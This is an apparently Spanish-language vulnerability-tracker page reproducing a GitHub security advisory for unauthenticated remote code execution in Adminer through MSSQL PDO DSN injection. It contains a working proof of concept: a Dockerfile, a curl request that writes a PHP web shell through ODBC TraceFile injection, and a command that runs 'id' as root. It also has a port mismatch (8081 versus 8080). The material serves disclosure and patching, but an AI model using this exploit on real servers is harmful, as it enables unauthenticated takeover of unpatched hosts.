GHSA-R4X9-5M63-3VXW
Unauthenticated RCE via MSSQL PDO DSN Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-R4X9-5M63-3VXW divulgada · CVSS 9.8 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Adminer fails to sanitize the user-supplied `server` field before constructing a PDO DSN string. An attacker can inject semicolons to append arbitrary ODBC parameters, including `TraceFile`; causing the ODBC driver to write a file containing the attacker-controlled `username` value to a path of their choice. Since the username appears verbatim in the trace output, injecting PHP code there results in a web shell. No authentication is required.
Prerequisites
- `pdo_sqlsrv` PHP extension installed
- Microsoft ODBC Driver for SQL Server installed
- Web root writable by the web server process
These conditions are common on servers connecting to Azure SQL Database or SQL Server.
Root Cause
`mssql.inc.php`, lines 185–188:
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}`$host` is interpolated directly into the DSN without escaping. Semicolons in the server value are treated as DSN parameter delimiters by the ODBC driver manager, allowing injection of arbitrary ODBC options.
The `TraceFile` and `TraceOn` parameters are processed before the connection attempt and the file is written even when authentication fails. The trace contains the full connection string including `UID={username}`.
Steps To Reproduce
1. Build the environment
FROM php:8.3-cli
RUN apt-get update && apt-get install -y curl gnupg2 unixodbc-dev \
&& curl -fsSL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor -o /usr/share/keyrings/microsoft-prod.gpg \
&& echo 'deb [arch=amd64 signed-by=/usr/share/keyrings/microsoft-prod.gpg] https://packages.microsoft.com/debian/12/prod bookworm main' > /etc/apt/sources.list.d/mssql-release.list \
&& apt-get update && ACCEPT_EULA=Y apt-get install -y msodbcsql18 \
&& pecl install pdo_sqlsrv \
&& echo 'extension=pdo_sqlsrv.so' > /usr/local/etc/php/conf.d/sqlsrv.ini \
&& apt-get clean
COPY adminer.php /var/www/adminer.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]docker build -t adminer-poc .
docker run -d -p 8081:8081 --name adminer-poc adminer-poc2. Write the web shell
curl "http://localhost:8081/adminer.php" -L -c - \
-d "auth[driver]=mssql" \
-d "auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1" \
--data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
-d "auth[password]=x"The DSN becomes `sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1`. The ODBC driver writes the trace file immediately and the connection fails; this is expected and inconsequential. The trace contains `UID={<?php system($_GET['c']); ?>}`, which PHP executes on the next request.
3. Execute commands
curl "http://localhost:8080/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)## Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex https://github.com/voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-r4x9-5m63-3vxwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
